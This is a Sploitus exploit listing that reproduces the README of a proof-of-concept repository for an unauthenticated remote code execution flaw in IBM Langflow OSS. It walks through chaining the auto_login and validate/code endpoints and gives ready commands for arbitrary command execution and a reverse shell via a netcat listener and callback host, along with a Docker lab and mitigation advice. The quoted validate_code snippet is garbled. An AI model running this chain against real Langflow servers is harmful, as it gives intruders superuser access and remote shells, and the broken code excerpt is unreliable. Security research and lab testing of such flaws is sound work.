Sploitus

Exploit for Code Injection in Langflow

githubexploit Β· 2026-08-29

Exploit Code

README163 lines
## https://sploitus.com/exploit?id=26844A9C-149B-5A82-953F-05C2CCD4F3B7
# CVE-2026-9198 β€” IBM Langflow OSS Unauthenticated RCE

Proof-of-concept exploit and a self-contained Docker lab for **CVE-2026-9198**, an
unauthenticated remote code execution vulnerability in **IBM Langflow OSS**.

The exploit chains two endpoints β€” `auto_login` (which hands out a SUPERUSER token
to anyone) and `validate/code` (which runs attacker-supplied Python) β€” to get code
execution as the Langflow service user, with **no credentials required**.

> [!WARNING]
> **For authorized security testing and education only.** Run this exclusively
> against systems you own or have explicit written permission to test. The Docker
> lab in this repo is *deliberately vulnerable* β€” keep it on your machine and never
> expose it to the internet. You are responsible for how you use this code.

## The vulnerability

| | |
|---|---|
| **CVE** | CVE-2026-9198 |
| **Product** | IBM Langflow OSS |
| **Affected** | 1.0.0 – 1.10.0 |
| **Fixed in** | 1.10.1 |
| **CVSS 3.1** | 9.8 Critical β€” `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-94 β€” Improper Control of Generation of Code ('Code Injection') |
| **CISA KEV** | Yes β€” known exploited in the wild |

## How it works

The exploit is a two-step chain that needs no authentication:

### 1. Get a SUPERUSER token β€” `GET /api/v1/auto_login`

Langflow ships with `LANGFLOW_AUTO_LOGIN` enabled by default. When it is, the
`auto_login` endpoint issues a long-lived **SUPERUSER** JWT to *any* caller, no
credentials asked:

```json
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
```

### 2. Execute code β€” `POST /api/v1/validate/code`

Since 1.3.0 this endpoint requires authentication (that was the fix for
CVE-2025-3248) β€” but step 1 just handed us a valid SUPERUSER token, so the gate is
useless. Internally the endpoint calls `validate_code()`, which compiles and runs
every function definition it receives:

```python
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "", "exec")
        try:
            exec(code_obj)                       # ) ...; raise Exception()')):
    pass
```

## Contents

```
.
β”œβ”€β”€ exploit.py           # the PoC (command execution + reverse shell)
β”œβ”€β”€ docker-compose.yml   # vulnerable lab: langflow 1.10.0 + postgres
β”œβ”€β”€ requirements.txt     # requests
└── README.md
```

## Requirements

- Docker + Docker Compose (for the lab)
- Python 3.8+ and `requests` (`pip install -r requirements.txt`)

## Run the lab

```bash
docker compose up -d
```

Langflow takes a minute or two to become ready on first boot. Wait until it answers:

```bash
curl -fs http://127.0.0.1:9999/health && echo OK
```

The service is bound to `127.0.0.1:9999` on purpose β€” it is not reachable from your
network.

## Run the exploit

Install the dependency, then point the exploit at the lab.

```bash
pip install -r requirements.txt
```

### Command execution

```bash
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
```

Example output:

```
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
```

Any command works: `--cmd "uname -a && whoami && cat /etc/os-release"`.

### Reverse shell

Start a listener:

```bash
nc -lvnp 4444
```

Then fire the payload. When the target runs in Docker on the same machine, the
container reaches your host at `host.docker.internal` (Docker Desktop); on a real
target use your routable IP:

```bash
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444
```

You get an interactive `/bin/sh` on your listener as the `langflow` user.

### Options

| Flag | Description |
|---|---|
| `--url` | Target base URL (required) |
| `--cmd` | Command to run (default `id`) |
| `--reverse-shell` | Deliver a reverse shell instead of running `--cmd` |
| `--lhost` / `--lport` | Reverse-shell callback host and port |
| `--token` | Use a supplied bearer token and skip `auto_login` |
| `--timeout` | Per-request timeout, seconds (default 15) |
| `--insecure` | Skip TLS verification (for `https` targets) |

## Mitigation

- **Upgrade to Langflow β‰₯ 1.10.1.**
- Disable auto-login in anything network-reachable: `LANGFLOW_AUTO_LOGIN=false`,
  and set real superuser credentials.
- Never expose Langflow directly to the internet; put it behind authentication and
  network controls.

## References

- [NVD β€” CVE-2026-9198](https://nvd.nist.gov/vuln/detail/CVE-2026-9198)
- [IBM Security Bulletin](https://www.ibm.com/support/pages/node/7278927)
- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Related predecessor: [CVE-2025-3248](https://nvd.nist.gov/vuln/detail/CVE-2025-3248) (the `validate/code` code-injection this builds on)